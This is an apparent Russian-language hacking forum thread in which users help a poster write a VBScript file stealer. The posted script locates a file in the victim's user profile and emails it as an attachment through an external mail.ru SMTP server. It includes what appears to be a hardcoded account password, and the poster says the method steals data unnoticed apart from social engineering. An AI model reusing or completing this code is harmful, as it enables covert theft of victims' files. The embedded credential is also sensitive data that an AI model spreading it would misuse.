Малварь как искусство Манн по написанию стилера с хакера

[virt]

Речь идет о VBS : в коде никак не могу задать относительный путь к файлу , так как каждый раз имя польхователя будет разное , но очень важно чтобы путь был именно в эту папку

Попробуй:

Скопировать в буфер обмена

var Shell = System.CreateObject('WScript.Shell'); 
var Path = Shell.SpecialFolders("User");

Короче Shell.SpecialFolders получает путь к нужной папке, ещё пример:

var DesktopPath = Shell.SpecialFolders("Desktop"); - Получит путь к рабочему столу.

 

[EH20]

Да предложения интересные , но очень хочется изЪябнуться и сделать по своему ... Нашел более менне метод . Застрял на проблеме мелкой по своей сути, но что то не как не решаемой .
Речь идет о VBS : в коде никак не могу задать относительный путь к файлу , так как каждый раз имя польхователя будет разное , но очень важно чтобы путь был именно в эту папку
ПРИМЕР : %SYSTEMDRIVE%\Users\%UserName%\xxx.txt
но как это сделать в VBS не нашел или не сообразил куда нужно вставить куски кода .
В целом такая технология позволит использовать её как стилер вообще без палева , если не считать СИ.
Если есть познания в области Vbs можете подсказать как правильно дописать код?
отрывок кода:

Скопировать в буфер обмена

Dim strSourceFile
Dim strContent


strSourceFile = "С:\users\harakiri\xxx.txt"

strUser = CreateObject("WScript.Network").UserName

 

[Iogan]

strUser = CreateObject("WScript.Network").UserName

Может нет так делаю или добавить еще нужно куда ,
весь код :

Скопировать в буфер обмена

Dim strSourceFile
Dim strContent
Dim strUser = CreateObject("WScript.Network").UserName
strSourceFile = "xxx.txt"

With WScript.CreateObject("Scripting.FileSystemObject")
    If .FileExists(strSourceFile) Then
        With WScript.CreateObject("CDO.Message")
            .From     = "********@list.ru"
            .To       = "********@mail.ru"
            .Subject  = "Content of file [" & strSourceFile & "]"
            
            .TextBody = strContent
            .TextBodyPart.Charset = "windows-1251"
            
            .AddAttachment strSourceFile
            
            With .Configuration.Fields
                .Item(strConstPartOfSchema & "smtpserver")       = "smtp.mail.ru"
                .Item(strConstPartOfSchema & "sendusing")        = cdoSendUsingPort
                .Item(strConstPartOfSchema & "smtpserverport")   = 465
                .Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
                .Item(strConstPartOfSchema & "sendusername")     = "******@list.ru"
                .Item(strConstPartOfSchema & "sendpassword")     = "JvsWgYxjqKYyRw6i"
                .Item(strConstPartOfSchema & "smtpusessl")       = True
                
                .Update
            End With
            
            .Send
        End With
    Else
        WScript.Echo "Source file [" & strSourceFile & "] not found."
        WScript.Quit 1
    End If
End With

WScript.Quit 0

 

[Iogan]

Попробуй:

Скопировать в буфер обмена

var Shell = System.CreateObject('WScript.Shell');
var Path = Shell.SpecialFolders("User");

Короче Shell.SpecialFolders получает путь к нужной папке, ещё пример:

var DesktopPath = Shell.SpecialFolders("Desktop"); - Получит путь к рабочему столу.

да знакома эта транскрипция только вот Не понимаю куда его вставить и добавить путь к самому файлу .

 

[virt]

strSourceFile = strUser & "xxx.txt"

Можно отладить, так:
MsgBox strSourceFile

Вам-бы мат. часть покурить...

 

[Iogan]

strSourceFile = strUser & "xxx.txt"

Можно отладить, так:
MsgBox strSourceFile

Вам-бы мат. часть покурить...

В одном случае не находит путь , в другом выдает ошибку .

Скопировать в буфер обмена

Dim strSourceFile
Dim strContent


MsgBox strSourceFile
strSourceFile = strUser & "xxx.txt"

ОШИБКА : Переменная не определена: 'strUser'
В другом путь не найден .

 

[X-Shar]

MsgBox *** должен-быть ниже переменной strSourceFile.

У вас нет переменной strUser, хотя выше в коде она была, зачем вы ее убрали.

Вообще проще самому поправить и выложить, сейчас с телефона не могу...

Подсказывать тут бесполезно, курите мат. часть, либо используйте что-то готовое уже, даже тут какие-то азы нужно знать, хотя это примитив.)

 

[Iogan]

Всё оказалось намного проще чем казалось всего одна строка .
CreateObject("WScript.Shell").ExpandEnvironmentStrings("%SYSTEMDRIVE%\Users\%UserName%\xxx.txt")

Всем огромное спасибо за помощь ! Удачи всем в начинаниях и в заканчиваниях !

 

[virt]

Нешибко-то и помогли...

Но разобрались-же, в 90% случаев проще найти решение самому, чем спрашивать на форумах.

Тем-более тут ничего сложного нет.)